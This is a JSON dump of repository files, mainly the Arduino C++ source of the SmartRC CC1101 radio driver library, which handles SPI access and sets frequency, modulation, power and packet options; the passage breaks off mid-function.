[
  {
    "path": ".gitattributes",
    "content": "# Auto detect text files and perform LF normalization\n* text=auto\n"
  },
  {
    "path": "Bibliotecas/SmartRC-CC1101-Driver-Lib-master/ELECHOUSE_CC1101_SRC_DRV.cpp",
    "content": "/*\n  ELECHOUSE_CC1101.cpp - CC1101 module library\n  Copyright (c) 2010 Michael.\n    Author: Michael, <www.elechouse.com>\n    Version: November 12, 2010\n\n  This library is designed to use CC1101/CC1100 module on Arduino platform.\n  CC1101/CC1100 module is an useful wireless module.Using the functions of the \n  library, you can easily send and receive data by the CC1101/CC1100 module. \n  Just have fun!\n  For the details, please refer to the datasheet of CC1100/CC1101.\n----------------------------------------------------------------------------------------------------------------\ncc1101 Driver for RC Switch. Mod by Little Satan. With permission to modify and publish Wilson Shen (ELECHOUSE).\n----------------------------------------------------------------------------------------------------------------\n*/\n#include <SPI.h>\n#include \"ELECHOUSE_CC1101_SRC_DRV.h\"\n#include <Arduino.h>\n\n/****************************************************************/\n#define   WRITE_BURST       0x40            //write burst\n#define   READ_SINGLE       0x80            //read single\n#define   READ_BURST        0xC0            //read burst\n#define   BYTES_IN_RXFIFO   0x7F            //byte number in RXfifo\n#define   max_modul 6\n\nbyte modulation = 2;\nbyte frend0;\nbyte chan = 0;\nint pa = 12;\nbyte last_pa;\nbyte SCK_PIN;\nbyte MISO_PIN;\nbyte MOSI_PIN;\nbyte SS_PIN;\nbyte GDO0;\nbyte GDO2;\nbyte SCK_PIN_M[max_modul];\nbyte MISO_PIN_M[max_modul];\nbyte MOSI_PIN_M[max_modul];\nbyte SS_PIN_M[max_modul];\nbyte GDO0_M[max_modul];\nbyte GDO2_M[max_modul];\nbyte gdo_set=0;\nbool spi = 0;\nbool ccmode = 0;\nfloat MHz = 433.92;\nbyte m4RxBw = 0;\nbyte m4DaRa;\nbyte m2DCOFF;\nbyte m2MODFM;\nbyte m2MANCH;\nbyte m2SYNCM;\nbyte m1FEC;\nbyte m1PRE;\nbyte m1CHSP;\nbyte pc1PQT;\nbyte pc1CRC_AF;\nbyte pc1APP_ST;\nbyte pc1ADRCHK;\nbyte pc0WDATA;\nbyte pc0PktForm;\nbyte pc0CRC_EN;\nbyte pc0LenConf;\nbyte trxstate = 0;\nbyte clb1[2]= {24,28};\nbyte clb2[2]= {31,38};\nbyte clb3[2]= {65,76};\nbyte clb4[2]= {77,79};\n\n/****************************************************************/\nuint8_t PA_TABLE[8]     {0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00};\n//                       -30  -20  -15  -10   0    5    7    10\nuint8_t PA_TABLE_315[8] {0x12,0x0D,0x1C,0x34,0x51,0x85,0xCB,0xC2,};             //300 - 348\nuint8_t PA_TABLE_433[8] {0x12,0x0E,0x1D,0x34,0x60,0x84,0xC8,0xC0,};             //387 - 464\n//                        -30  -20  -15  -10  -6    0    5    7    10   12\nuint8_t PA_TABLE_868[10] {0x03,0x17,0x1D,0x26,0x37,0x50,0x86,0xCD,0xC5,0xC0,};  //779 - 899.99\n//                        -30  -20  -15  -10  -6    0    5    7    10   11\nuint8_t PA_TABLE_915[10] {0x03,0x0E,0x1E,0x27,0x38,0x8E,0x84,0xCC,0xC3,0xC0,};  //900 - 928\n/****************************************************************\n*FUNCTION NAME:SpiStart\n*FUNCTION     :spi communication start\n*INPUT        :none\n*OUTPUT       :none\n****************************************************************/\nvoid ELECHOUSE_CC1101::SpiStart(void)\n{\n  // initialize the SPI pins\n  pinMode(SCK_PIN, OUTPUT);\n  pinMode(MOSI_PIN, OUTPUT);\n  pinMode(MISO_PIN, INPUT);\n  pinMode(SS_PIN, OUTPUT);\n\n  // enable SPI\n  #ifdef ESP32\n  SPI.begin(SCK_PIN, MISO_PIN, MOSI_PIN, SS_PIN);\n  #else\n  SPI.begin();\n  #endif\n}\n/****************************************************************\n*FUNCTION NAME:SpiEnd\n*FUNCTION     :spi communication disable\n*INPUT        :none\n*OUTPUT       :none\n****************************************************************/\nvoid ELECHOUSE_CC1101::SpiEnd(void)\n{\n  // disable SPI\n  SPI.endTransaction();\n  SPI.end();\n}\n/****************************************************************\n*FUNCTION NAME: GDO_Set()\n*FUNCTION     : set GDO0,GDO2 pin for serial pinmode.\n*INPUT        : none\n*OUTPUT       : none\n****************************************************************/\nvoid ELECHOUSE_CC1101::GDO_Set (void)\n{\n\tpinMode(GDO0, OUTPUT);\n\tpinMode(GDO2, INPUT);\n}\n/****************************************************************\n*FUNCTION NAME: GDO_Set()\n*FUNCTION     : set GDO0 for internal transmission mode.\n*INPUT        : none\n*OUTPUT       : none\n****************************************************************/\nvoid ELECHOUSE_CC1101::GDO0_Set (void)\n{\n  pinMode(GDO0, INPUT);\n}\n/****************************************************************\n*FUNCTION NAME:Reset\n*FUNCTION     :CC1101 reset //details refer datasheet of CC1101/CC1100//\n*INPUT        :none\n*OUTPUT       :none\n****************************************************************/\nvoid ELECHOUSE_CC1101::Reset (void)\n{\n\tdigitalWrite(SS_PIN, LOW);\n\tdelay(1);\n\tdigitalWrite(SS_PIN, HIGH);\n\tdelay(1);\n\tdigitalWrite(SS_PIN, LOW);\n\twhile(digitalRead(MISO_PIN));\n  SPI.transfer(CC1101_SRES);\n  while(digitalRead(MISO_PIN));\n\tdigitalWrite(SS_PIN, HIGH);\n}\n/****************************************************************\n*FUNCTION NAME:Init\n*FUNCTION     :CC1101 initialization\n*INPUT        :none\n*OUTPUT       :none\n****************************************************************/\nvoid ELECHOUSE_CC1101::Init(void)\n{\n  setSpi();\n  SpiStart();                   //spi initialization\n  digitalWrite(SS_PIN, HIGH);\n  digitalWrite(SCK_PIN, HIGH);\n  digitalWrite(MOSI_PIN, LOW);\n  Reset();                    //CC1101 reset\n  RegConfigSettings();            //CC1101 register config\n  SpiEnd();\n}\n/****************************************************************\n*FUNCTION NAME:SpiWriteReg\n*FUNCTION     :CC1101 write data to register\n*INPUT        :addr: register address; value: register value\n*OUTPUT       :none\n****************************************************************/\nvoid ELECHOUSE_CC1101::SpiWriteReg(byte addr, byte value)\n{\n  SpiStart();\n  digitalWrite(SS_PIN, LOW);\n  while(digitalRead(MISO_PIN));\n  SPI.transfer(addr);\n  SPI.transfer(value); \n  digitalWrite(SS_PIN, HIGH);\n  SpiEnd();\n}\n/****************************************************************\n*FUNCTION NAME:SpiWriteBurstReg\n*FUNCTION     :CC1101 write burst data to register\n*INPUT        :addr: register address; buffer:register value array; num:number to write\n*OUTPUT       :none\n****************************************************************/\nvoid ELECHOUSE_CC1101::SpiWriteBurstReg(byte addr, byte *buffer, byte num)\n{\n  byte i, temp;\n  SpiStart();\n  temp = addr | WRITE_BURST;\n  digitalWrite(SS_PIN, LOW);\n  while(digitalRead(MISO_PIN));\n  SPI.transfer(temp);\n  for (i = 0; i < num; i++)\n  {\n  SPI.transfer(buffer[i]);\n  }\n  digitalWrite(SS_PIN, HIGH);\n  SpiEnd();\n}\n/****************************************************************\n*FUNCTION NAME:SpiStrobe\n*FUNCTION     :CC1101 Strobe\n*INPUT        :strobe: command; //refer define in CC1101.h//\n*OUTPUT       :none\n****************************************************************/\nvoid ELECHOUSE_CC1101::SpiStrobe(byte strobe)\n{\n  SpiStart();\n  digitalWrite(SS_PIN, LOW);\n  while(digitalRead(MISO_PIN));\n  SPI.transfer(strobe);\n  digitalWrite(SS_PIN, HIGH);\n  SpiEnd();\n}\n/****************************************************************\n*FUNCTION NAME:SpiReadReg\n*FUNCTION     :CC1101 read data from register\n*INPUT        :addr: register address\n*OUTPUT       :register value\n****************************************************************/\nbyte ELECHOUSE_CC1101::SpiReadReg(byte addr) \n{\n  byte temp, value;\n  SpiStart();\n  temp = addr| READ_SINGLE;\n  digitalWrite(SS_PIN, LOW);\n  while(digitalRead(MISO_PIN));\n  SPI.transfer(temp);\n  value=SPI.transfer(0);\n  digitalWrite(SS_PIN, HIGH);\n  SpiEnd();\n  return value;\n}\n\n/****************************************************************\n*FUNCTION NAME:SpiReadBurstReg\n*FUNCTION     :CC1101 read burst data from register\n*INPUT        :addr: register address; buffer:array to store register value; num: number to read\n*OUTPUT       :none\n****************************************************************/\nvoid ELECHOUSE_CC1101::SpiReadBurstReg(byte addr, byte *buffer, byte num)\n{\n  byte i,temp;\n  SpiStart();\n  temp = addr | READ_BURST;\n  digitalWrite(SS_PIN, LOW);\n  while(digitalRead(MISO_PIN));\n  SPI.transfer(temp);\n  for(i=0;i<num;i++)\n  {\n  buffer[i]=SPI.transfer(0);\n  }\n  digitalWrite(SS_PIN, HIGH);\n  SpiEnd();\n}\n\n/****************************************************************\n*FUNCTION NAME:SpiReadStatus\n*FUNCTION     :CC1101 read status register\n*INPUT        :addr: register address\n*OUTPUT       :status value\n****************************************************************/\nbyte ELECHOUSE_CC1101::SpiReadStatus(byte addr) \n{\n  byte value,temp;\n  SpiStart();\n  temp = addr | READ_BURST;\n  digitalWrite(SS_PIN, LOW);\n  while(digitalRead(MISO_PIN));\n  SPI.transfer(temp);\n  value=SPI.transfer(0);\n  digitalWrite(SS_PIN, HIGH);\n  SpiEnd();\n  return value;\n}\n/****************************************************************\n*FUNCTION NAME:SPI pin Settings\n*FUNCTION     :Set Spi pins\n*INPUT        :none\n*OUTPUT       :none\n****************************************************************/\nvoid ELECHOUSE_CC1101::setSpi(void){\n  if (spi == 0){\n  #if defined __AVR_ATmega168__ || defined __AVR_ATmega328P__\n  SCK_PIN = 13; MISO_PIN = 12; MOSI_PIN = 11; SS_PIN = 10;\n  #elif defined __AVR_ATmega1280__ || defined __AVR_ATmega2560__\n  SCK_PIN = 52; MISO_PIN = 50; MOSI_PIN = 51; SS_PIN = 53;\n  #elif ESP8266\n  SCK_PIN = 14; MISO_PIN = 12; MOSI_PIN = 13; SS_PIN = 15;\n  #elif ESP32\n  SCK_PIN = 18; MISO_PIN = 19; MOSI_PIN = 23; SS_PIN = 5;\n  #else\n  SCK_PIN = 13; MISO_PIN = 12; MOSI_PIN = 11; SS_PIN = 10;\n  #endif\n}\n}\n/****************************************************************\n*FUNCTION NAME:COSTUM SPI\n*FUNCTION     :set costum spi pins.\n*INPUT        :none\n*OUTPUT       :none\n****************************************************************/\nvoid ELECHOUSE_CC1101::setSpiPin(byte sck, byte miso, byte mosi, byte ss){\n  spi = 1;\n  SCK_PIN = sck;\n  MISO_PIN = miso;\n  MOSI_PIN = mosi;\n  SS_PIN = ss;\n}\n/****************************************************************\n*FUNCTION NAME:COSTUM SPI\n*FUNCTION     :set costum spi pins.\n*INPUT        :none\n*OUTPUT       :none\n****************************************************************/\nvoid ELECHOUSE_CC1101::addSpiPin(byte sck, byte miso, byte mosi, byte ss, byte modul){\n  spi = 1;\n  SCK_PIN_M[modul] = sck;\n  MISO_PIN_M[modul] = miso;\n  MOSI_PIN_M[modul] = mosi;\n  SS_PIN_M[modul] = ss;\n}\n/****************************************************************\n*FUNCTION NAME:GDO Pin settings\n*FUNCTION     :set GDO Pins\n*INPUT        :none\n*OUTPUT       :none\n****************************************************************/\nvoid ELECHOUSE_CC1101::setGDO(byte gdo0, byte gdo2){\nGDO0 = gdo0;\nGDO2 = gdo2;  \nGDO_Set();\n}\n/****************************************************************\n*FUNCTION NAME:GDO0 Pin setting\n*FUNCTION     :set GDO0 Pin\n*INPUT        :none\n*OUTPUT       :none\n****************************************************************/\nvoid ELECHOUSE_CC1101::setGDO0(byte gdo0){\nGDO0 = gdo0;\nGDO0_Set();\n}\n/****************************************************************\n*FUNCTION NAME:GDO Pin settings\n*FUNCTION     :add GDO Pins\n*INPUT        :none\n*OUTPUT       :none\n****************************************************************/\nvoid ELECHOUSE_CC1101::addGDO(byte gdo0, byte gdo2, byte modul){\nGDO0_M[modul] = gdo0;\nGDO2_M[modul] = gdo2;  \ngdo_set=2;\nGDO_Set();\n}\n/****************************************************************\n*FUNCTION NAME:add GDO0 Pin\n*FUNCTION     :add GDO0 Pin\n*INPUT        :none\n*OUTPUT       :none\n****************************************************************/\nvoid ELECHOUSE_CC1101::addGDO0(byte gdo0, byte modul){\nGDO0_M[modul] = gdo0;\ngdo_set=1;\nGDO0_Set();\n}\n/****************************************************************\n*FUNCTION NAME:set Modul\n*FUNCTION     :change modul\n*INPUT        :none\n*OUTPUT       :none\n****************************************************************/\nvoid ELECHOUSE_CC1101::setModul(byte modul){\n  SCK_PIN = SCK_PIN_M[modul];\n  MISO_PIN = MISO_PIN_M[modul];\n  MOSI_PIN = MOSI_PIN_M[modul];\n  SS_PIN = SS_PIN_M[modul];\n  if (gdo_set==1){\n  GDO0 = GDO0_M[modul];\n  }\n  else if (gdo_set==2){\n  GDO0 = GDO0_M[modul];\n  GDO2 = GDO2_M[modul];\n  }\n}\n/****************************************************************\n*FUNCTION NAME:CCMode\n*FUNCTION     :Format of RX and TX data\n*INPUT        :none\n*OUTPUT       :none\n****************************************************************/\nvoid ELECHOUSE_CC1101::setCCMode(bool s){\nccmode = s;\nif (ccmode == 1){\nSpiWriteReg(CC1101_IOCFG2,      0x0B);\nSpiWriteReg(CC1101_IOCFG0,      0x06);\nSpiWriteReg(CC1101_PKTCTRL0,    0x05);\nSpiWriteReg(CC1101_MDMCFG3,     0xF8);\nSpiWriteReg(CC1101_MDMCFG4,11+m4RxBw);\n}else{\nSpiWriteReg(CC1101_IOCFG2,      0x0D);\nSpiWriteReg(CC1101_IOCFG0,      0x0D);\nSpiWriteReg(CC1101_PKTCTRL0,    0x32);\nSpiWriteReg(CC1101_MDMCFG3,     0x93);\nSpiWriteReg(CC1101_MDMCFG4, 7+m4RxBw);\n}\nsetModulation(modulation);\n}\n/****************************************************************\n*FUNCTION NAME:Modulation\n*FUNCTION     :set CC1101 Modulation \n*INPUT        :none\n*OUTPUT       :none\n****************************************************************/\nvoid ELECHOUSE_CC1101::setModulation(byte m){\nif (m>4){m=4;}\nmodulation = m;\nSplit_MDMCFG2();\nswitch (m)\n{\ncase 0: m2MODFM=0x00; frend0=0x10; break; // 2-FSK\ncase 1: m2MODFM=0x10; frend0=0x10; break; // GFSK\ncase 2: m2MODFM=0x30; frend0=0x11; break; // ASK\ncase 3: m2MODFM=0x40; frend0=0x10; break; // 4-FSK\ncase 4: m2MODFM=0x70; frend0=0x10; break; // MSK\n}\nSpiWriteReg(CC1101_MDMCFG2, m2DCOFF+m2MODFM+m2MANCH+m2SYNCM);\nSpiWriteReg(CC1101_FREND0,   frend0);\nsetPA(pa);\n}\n/****************************************************************\n*FUNCTION NAME:PA Power\n*FUNCTION     :set CC1101 PA Power \n*INPUT        :none\n*OUTPUT       :none\n****************************************************************/\nvoid ELECHOUSE_CC1101::setPA(int p)\n{\nint a;\npa = p;\n\nif (MHz >= 300 && MHz <= 348){\nif (pa <= -30){a = PA_TABLE_315[0];}\nelse if (pa > -30 && pa <= -20){a = PA_TABLE_315[1];}\nelse if (pa > -20 && pa <= -15){a = PA_TABLE_315[2];}\nelse if (pa > -15 && pa <= -10){a = PA_TABLE_315[3];}\nelse if (pa > -10 && pa <= 0){a = PA_TABLE_315[4];}\nelse if (pa > 0 && pa <= 5){a = PA_TABLE_315[5];}\nelse if (pa > 5 && pa <= 7){a = PA_TABLE_315[6];}\nelse if (pa > 7){a = PA_TABLE_315[7];}\nlast_pa = 1;\n}\nelse if (MHz >= 378 && MHz <= 464){\nif (pa <= -30){a = PA_TABLE_433[0];}\nelse if (pa > -30 && pa <= -20){a = PA_TABLE_433[1];}\nelse if (pa > -20 && pa <= -15){a = PA_TABLE_433[2];}\nelse if (pa > -15 && pa <= -10){a = PA_TABLE_433[3];}\nelse if (pa > -10 && pa <= 0){a = PA_TABLE_433[4];}\nelse if (pa > 0 && pa <= 5){a = PA_TABLE_433[5];}\nelse if (pa > 5 && pa <= 7){a = PA_TABLE_433[6];}\nelse if (pa > 7){a = PA_TABLE_433[7];}\nlast_pa = 2;\n}\nelse if (MHz >= 779 && MHz <= 899.99){\nif (pa <= -30){a = PA_TABLE_868[0];}\nelse if (pa > -30 && pa <= -20){a = PA_TABLE_868[1];}\nelse if (pa > -20 && pa <= -15){a = PA_TABLE_868[2];}\nelse if (pa > -15 && pa <= -10){a = PA_TABLE_868[3];}\nelse if (pa > -10 && pa <= -6){a = PA_TABLE_868[4];}\nelse if (pa > -6 && pa <= 0){a = PA_TABLE_868[5];}\nelse if (pa > 0 && pa <= 5){a = PA_TABLE_868[6];}\nelse if (pa > 5 && pa <= 7){a = PA_TABLE_868[7];}\nelse if (pa > 7 && pa <= 10){a = PA_TABLE_868[8];}\nelse if (pa > 10){a = PA_TABLE_868[9];}\nlast_pa = 3;\n}\nelse if (MHz >= 900 && MHz <= 928){\nif (pa <= -30){a = PA_TABLE_915[0];}\nelse if (pa > -30 && pa <= -20){a = PA_TABLE_915[1];}\nelse if (pa > -20 && pa <= -15){a = PA_TABLE_915[2];}\nelse if (pa > -15 && pa <= -10){a = PA_TABLE_915[3];}\nelse if (pa > -10 && pa <= -6){a = PA_TABLE_915[4];}\nelse if (pa > -6 && pa <= 0){a = PA_TABLE_915[5];}\nelse if (pa > 0 && pa <= 5){a = PA_TABLE_915[6];}\nelse if (pa > 5 && pa <= 7){a = PA_TABLE_915[7];}\nelse if (pa > 7 && pa <= 10){a = PA_TABLE_915[8];}\nelse if (pa > 10){a = PA_TABLE_915[9];}\nlast_pa = 4;\n}\nif (modulation == 2){\nPA_TABLE[0] = 0;  \nPA_TABLE[1] = a;\n}else{\nPA_TABLE[0] = a;  \nPA_TABLE[1] = 0; \n}\nSpiWriteBurstReg(CC1101_PATABLE,PA_TABLE,8);\n}\n/****************************************************************\n*FUNCTION NAME:Frequency Calculator\n*FUNCTION     :Calculate the basic frequency.\n*INPUT        :none\n*OUTPUT       :none\n****************************************************************/\nvoid ELECHOUSE_CC1101::setMHZ(float mhz){\nbyte freq2 = 0;\nbyte freq1 = 0;\nbyte freq0 = 0;\n\nMHz = mhz;\n\nfor (bool i = 0; i==0;){\nif (mhz >= 26){\nmhz-=26;\nfreq2+=1;\n}\nelse if (mhz >= 0.1015625){\nmhz-=0.1015625;\nfreq1+=1;\n}\nelse if (mhz >= 0.00039675){\nmhz-=0.00039675;\nfreq0+=1;\n}\nelse{i=1;}\n}\nif (freq0 > 255){freq1+=1;freq0-=256;}\n\nSpiWriteReg(CC1101_FREQ2, freq2);\nSpiWriteReg(CC1101_FREQ1, freq1);\nSpiWriteReg(CC1101_FREQ0, freq0);\n\nCalibrate();\n}\n/****************************************************************\n*FUNCTION NAME:Calibrate\n*FUNCTION     :Calibrate frequency\n*INPUT        :none\n*OUTPUT       :none\n****************************************************************/\nvoid ELECHOUSE_CC1101::Calibrate(void){\n\nif (MHz >= 300 && MHz <= 348){\nSpiWriteReg(CC1101_FSCTRL0, map(MHz, 300, 348, clb1[0], clb1[1]));\nif (MHz < 322.88){SpiWriteReg(CC1101_TEST0,0x0B);}\nelse{\nSpiWriteReg(CC1101_TEST0,0x09);\nint s = ELECHOUSE_cc1101.SpiReadStatus(CC1101_FSCAL2);\nif (s<32){SpiWriteReg(CC1101_FSCAL2, s+32);}\nif (last_pa != 1){setPA(pa);}\n}\n}\nelse if (MHz >= 378 && MHz <= 464){\nSpiWriteReg(CC1101_FSCTRL0, map(MHz, 378, 464, clb2[0], clb2[1]));\nif (MHz < 430.5){SpiWriteReg(CC1101_TEST0,0x0B);}\nelse{\nSpiWriteReg(CC1101_TEST0,0x09);\nint s = ELECHOUSE_cc1101.SpiReadStatus(CC1101_FSCAL2);\nif (s<32){SpiWriteReg(CC1101_FSCAL2, s+32);}\nif (last_pa != 2){setPA(pa);}\n}\n}\nelse if (MHz >= 779 && MHz <= 899.99){\nSpiWriteReg(CC1101_FSCTRL0, map(MHz, 779, 899, clb3[0], clb3[1]));\nif (MHz < 861){SpiWriteReg(CC1101_TEST0,0x0B);}\nelse{\nSpiWriteReg(CC1101_TEST0,0x09);\nint s = ELECHOUSE_cc1101.SpiReadStatus(CC1101_FSCAL2);\nif (s<32){SpiWriteReg(CC1101_FSCAL2, s+32);}\nif (last_pa != 3){setPA(pa);}\n}\n}\nelse if (MHz >= 900 && MHz <= 928){\nSpiWriteReg(CC1101_FSCTRL0, map(MHz, 900, 928, clb4[0], clb4[1]));\nSpiWriteReg(CC1101_TEST0,0x09);\nint s = ELECHOUSE_cc1101.SpiReadStatus(CC1101_FSCAL2);\nif (s<32){SpiWriteReg(CC1101_FSCAL2, s+32);}\nif (last_pa != 4){setPA(pa);}\n}\n}\n/****************************************************************\n*FUNCTION NAME:Calibration offset\n*FUNCTION     :Set calibration offset\n*INPUT        :none\n*OUTPUT       :none\n****************************************************************/\nvoid ELECHOUSE_CC1101::setClb(byte b, byte s, byte e){\nif (b == 1){\nclb1[0]=s;\nclb1[1]=e;  \n}\nelse if (b == 2){\nclb2[0]=s;\nclb2[1]=e;  \n}\nelse if (b == 3){\nclb3[0]=s;\nclb3[1]=e;  \n}\nelse if (b == 4){\nclb4[0]=s;\nclb4[1]=e;  \n}\n}\n/****************************************************************\n*FUNCTION NAME:getCC1101\n*FUNCTION     :Test Spi connection and return 1 when true.\n*INPUT        :none\n*OUTPUT       :none\n****************************************************************/\nbool ELECHOUSE_CC1101::getCC1101(void){\nsetSpi();\nif (SpiReadStatus(0x31)>0){\nreturn 1;\n}else{\nreturn 0;\n}\n}\n/****************************************************************\n*FUNCTION NAME:getMode\n*FUNCTION     :Return the Mode. Sidle = 0, TX = 1, Rx = 2.\n*INPUT        :none\n*OUTPUT       :none\n****************************************************************/\nbyte ELECHOUSE_CC1101::getMode(void){\nreturn trxstate;\n}\n/****************************************************************\n*FUNCTION NAME:Set Sync_Word\n*FUNCTION     :Sync Word\n*INPUT        :none\n*OUTPUT       :none\n****************************************************************/\nvoid ELECHOUSE_CC1101::setSyncWord(byte sh, byte sl){\nSpiWriteReg(CC1101_SYNC1, sh);\nSpiWriteReg(CC1101_SYNC0, sl);\n}\n/****************************************************************\n*FUNCTION NAME:Set ADDR\n*FUNCTION     :Address used for packet filtration. Optional broadcast addresses are 0 (0x00) and 255 (0xFF).\n*INPUT        :none\n*OUTPUT       :none\n****************************************************************/\nvoid ELECHOUSE_CC1101::setAddr(byte v){\nSpiWriteReg(CC1101_ADDR, v);\n}\n/****************************************************************\n*FUNCTION NAME:Set PQT\n*FUNCTION     :Preamble quality estimator threshold\n*INPUT        :none\n*OUTPUT       :none\n****************************************************************/\nvoid ELECHOUSE_CC1101::setPQT(byte v){\nSplit_PKTCTRL1();\npc1PQT = 0;\nif (v>7){v=7;}\npc1PQT = v*32;\nSpiWriteReg(CC1101_PKTCTRL1, pc1PQT+pc1CRC_AF+pc1APP_ST+pc1ADRCHK);\n}\n/****************************************************************\n*FUNCTION NAME:Set CRC_AUTOFLUSH\n*FUNCTION     :Enable automatic flush of RX FIFO when CRC is not OK\n*INPUT        :none\n*OUTPUT       :none\n****************************************************************/\nvoid ELECHOUSE_CC1101::setCRC_AF(bool v){\nSplit_PKTCTRL1();\npc1CRC_AF = 0;\nif (v==1){pc1CRC_AF=8;}\nSpiWriteReg(CC1101_PKTCTRL1, pc1PQT+pc1CRC_AF+pc1APP_ST+pc1ADRCHK);\n}\n/****************************************************************\n*FUNCTION NAME:Set APPEND_STATUS\n*FUNCTION     :When enabled, two status bytes will be appended to the payload of the packet\n*INPUT        :none\n*OUTPUT       :none\n****************************************************************/\nvoid ELECHOUSE_CC1101::setAppendStatus(bool v){\nSplit_PKTCTRL1();\npc1APP_ST = 0;\nif (v==1){pc1APP_ST=4;}\nSpiWriteReg(CC1101_PKTCTRL1, pc1PQT+pc1CRC_AF+pc1APP_ST+pc1ADRCHK);\n}\n/****************************************************************\n*FUNCTION NAME:Set ADR_CHK\n*FUNCTION     :Controls address check configuration of received packages\n*INPUT        :none\n*OUTPUT       :none\n****************************************************************/\nvoid ELECHOUSE_CC1101::setAdrChk(byte v){\nSplit_PKTCTRL1();\npc1ADRCHK = 0;\nif (v>3){v=3;}\npc1ADRCHK = v;\nSpiWriteReg(CC1101_PKTCTRL1, pc1PQT+pc1CRC_AF+pc1APP_ST+pc1ADRCHK);\n}\n/****************************************************************\n*FUNCTION NAME:Set WHITE_DATA\n*FUNCTION     :Turn data whitening on / off.\n*INPUT        :none\n*OUTPUT       :none\n****************************************************************/\nvoid ELECHOUSE_CC1101::setWhiteData(bool v){\nSplit_PKTCTRL0();\npc0WDATA = 0;\nif (v == 1){pc0WDATA=64;}\nSpiWriteReg(CC1101_PKTCTRL0, pc0WDATA+pc0PktForm+pc0CRC_EN+pc0LenConf);\n}\n/****************************************************************\n*FUNCTION NAME:Set PKT_FORMAT\n*FUNCTION     :Format of RX and TX data\n*INPUT        :none\n*OUTPUT       :none\n****************************************************************/\nvoid ELECHOUSE_CC1101::setPktFormat(byte v){\nSplit_PKTCTRL0();\npc0PktForm = 0;\nif (v>3){v=3;}\npc0PktForm = v*16;\nSpiWriteReg(CC1101_PKTCTRL0, pc0WDATA+pc0PktForm+pc0CRC_EN+pc0LenConf);\n}\n/****************************************************************\n*FUNCTION NAME:Set CRC\n*FUNCTION     :CRC calculation in TX and CRC check in RX\n*INPUT        :none\n*OUTPUT       :none\n****************************************************************/\nvoid ELECHOUSE_CC1101::setCrc(bool v){\nSplit_PKTCTRL0();\npc0CRC_EN = 0;\nif (v==1){pc0CRC_EN=4;}\nSpiWriteReg(CC1101_PKTCTRL0, pc0WDATA+pc0PktForm+pc0CRC_EN+pc0LenConf);\n}\n/****************************************************************\n*FUNCTION NAME:Set LENGTH_CONFIG\n*FUNCTION     :Configure the packet length\n*INPUT        :none\n*OUTPUT       :none\n****************************************************************/\nvoid ELECHOUSE_CC1101::setLengthConfig(byte v){\nSplit_PKTCTRL0();\npc0LenConf = 0;\nif (v>3){v=3;}\npc0LenConf = v;\nSpiWriteReg(CC1101_PKTCTRL0, pc0WDATA+pc0PktForm+pc0CRC_EN+pc0LenConf);\n}\n/****************************************************************\n*FUNCTION NAME:Set PACKET_LENGTH\n*FUNCTION     :Indicates the packet length\n*INPUT        :none\n*OUTPUT       :none\n****************************************************************/\nvoid ELECHOUSE_CC1101::setPacketLength(byte v){\nSpiWriteReg(CC1101_PKTLEN, v);\n}\n/****************************************************************\n*FUNCTION NAME:Set DCFILT_OFF\n*FUNCTION     :Disable digital DC blocking filter before demodulator\n*INPUT        :none\n*OUTPUT       :none\n****************************************************************/\nvoid ELECHOUSE_CC1101::setDcFilterOff(bool v){\nSplit_MDMCFG2();\nm2DCOFF = 0;\nif (v==1){m2DCOFF=128;}\nSpiWriteReg(CC1101_MDMCFG2, m2DCOFF+m2MODFM+m2MANCH+m2SYNCM);\n}\n/****************************************************************\n*FUNCTION NAME:Set MANCHESTER\n*FUNCTION     :Enables Manchester encoding/decoding\n*INPUT        :none\n*OUTPUT       :none\n****************************************************************/\nvoid ELECHOUSE_CC1101::setManchester(bool v){\nSplit_MDMCFG2();\nm2MANCH = 0;\nif (v==1){m2MANCH=8;}\nSpiWriteReg(CC1101_MDMCFG2, m2DCOFF+m2MODFM+m2MANCH+m2SYNCM);\n}\n/****************************************************************\n*FUNCTION NAME:Set SYNC_MODE\n*FUNCTION     :Combined sync-word qualifier mode\n*INPUT        :none\n*OUTPUT       :none\n****************************************************************/\nvoid ELECHOUSE_CC1101::setSyncMode(byte v){\nSplit_MDMCFG2();\nm2SYNCM = 0;\nif (v>7){v=7;}\nm2SYNCM=v;\nSpiWriteReg(CC1101_MDMCFG2, m2DCOFF+m2MODFM+m2MANCH+m2SYNCM);\n}\n/****************************************************************\n*FUNCTION NAME:Set FEC\n*FUNCTION     :Enable Forward Error Correction (FEC)\n*INPUT        :none\n*OUTPUT       :none\n****************************************************************/\nvoid ELECHOUSE_CC1101::setFEC(bool v){\nSplit_MDMCFG1();\nm1FEC=0;\nif (v==1){m1FEC=128;}\nSpiWriteReg(CC1101_MDMCFG1, m1FEC+m1PRE+m1CHSP);\n}\n/****************************************************************\n*FUNCTION NAME:Set PRE\n*FUNCTION     :Sets the minimum number of preamble bytes to be transmitted.\n*INPUT        :none\n*OUTPUT       :none\n****************************************************************/\nvoid ELECHOUSE_CC1101::setPRE(byte v){\nSplit_MDMCFG1();\nm1PRE=0;\nif (v>7){v=7;}\nm1PRE = v*16;\nSpiWriteReg(CC1101_MDMCFG1, m1FEC+m1PRE+m1CHSP);\n}\n/****************************************************************\n*FUNCTION NAME:Set Channel\n*FUNCTION     :none\n*INPUT        :none\n*OUTPUT       :none\n****************************************************************/\nvoid ELECHOUSE_CC1101::setChannel(byte ch){\nchan = ch;\nSpiWriteReg(CC1101_CHANNR,   chan);\n}\n/****************************************************************\n*FUNCTION NAME:Set Channel spacing\n*FUNCTION     :none\n*INPUT        :none\n*OUTPUT       :none\n****************************************************************/\nvoid ELECHOUSE_CC1101::setChsp(float f){\nSplit_MDMCFG1();\nbyte MDMCFG0 = 0;\nm1CHSP = 0;\nif (f > 405.456543){f = 405.456543;}\nif (f < 25.390625){f = 25.390625;}\nfor (int i = 0; i<5; i++){\nif (f <= 50.682068){\nf -= 25.390625;\nf /= 0.0991825;\nMDMCFG0 = f;\nfloat s1 = (f - MDMCFG0) *10;\nif (s1 >= 5){MDMCFG0++;}\ni = 5;\n}else{\nm1CHSP++;\nf/=2;\n}\n}\nSpiWriteReg(19,m1CHSP+m1FEC+m1PRE);\nSpiWriteReg(20,MDMCFG0);\n}\n/****************************************************************\n*FUNCTION NAME:Set Receive bandwidth\n*FUNCTION     :none\n*INPUT        :none\n*OUTPUT       :none\n****************************************************************/\nvoid ELECHOUSE_CC1101::setRxBW(float f){\nSplit_MDMCFG4();\nint s1 = 3;\nint s2 = 3;\nfor (int i = 0; i<3; i++){\nif (f > 101.5625){f/=2; s1--;}\nelse{i=3;}\n}\nfor (int i = 0; i<3; i++){\nif (f > 58.1){f/=1.25; 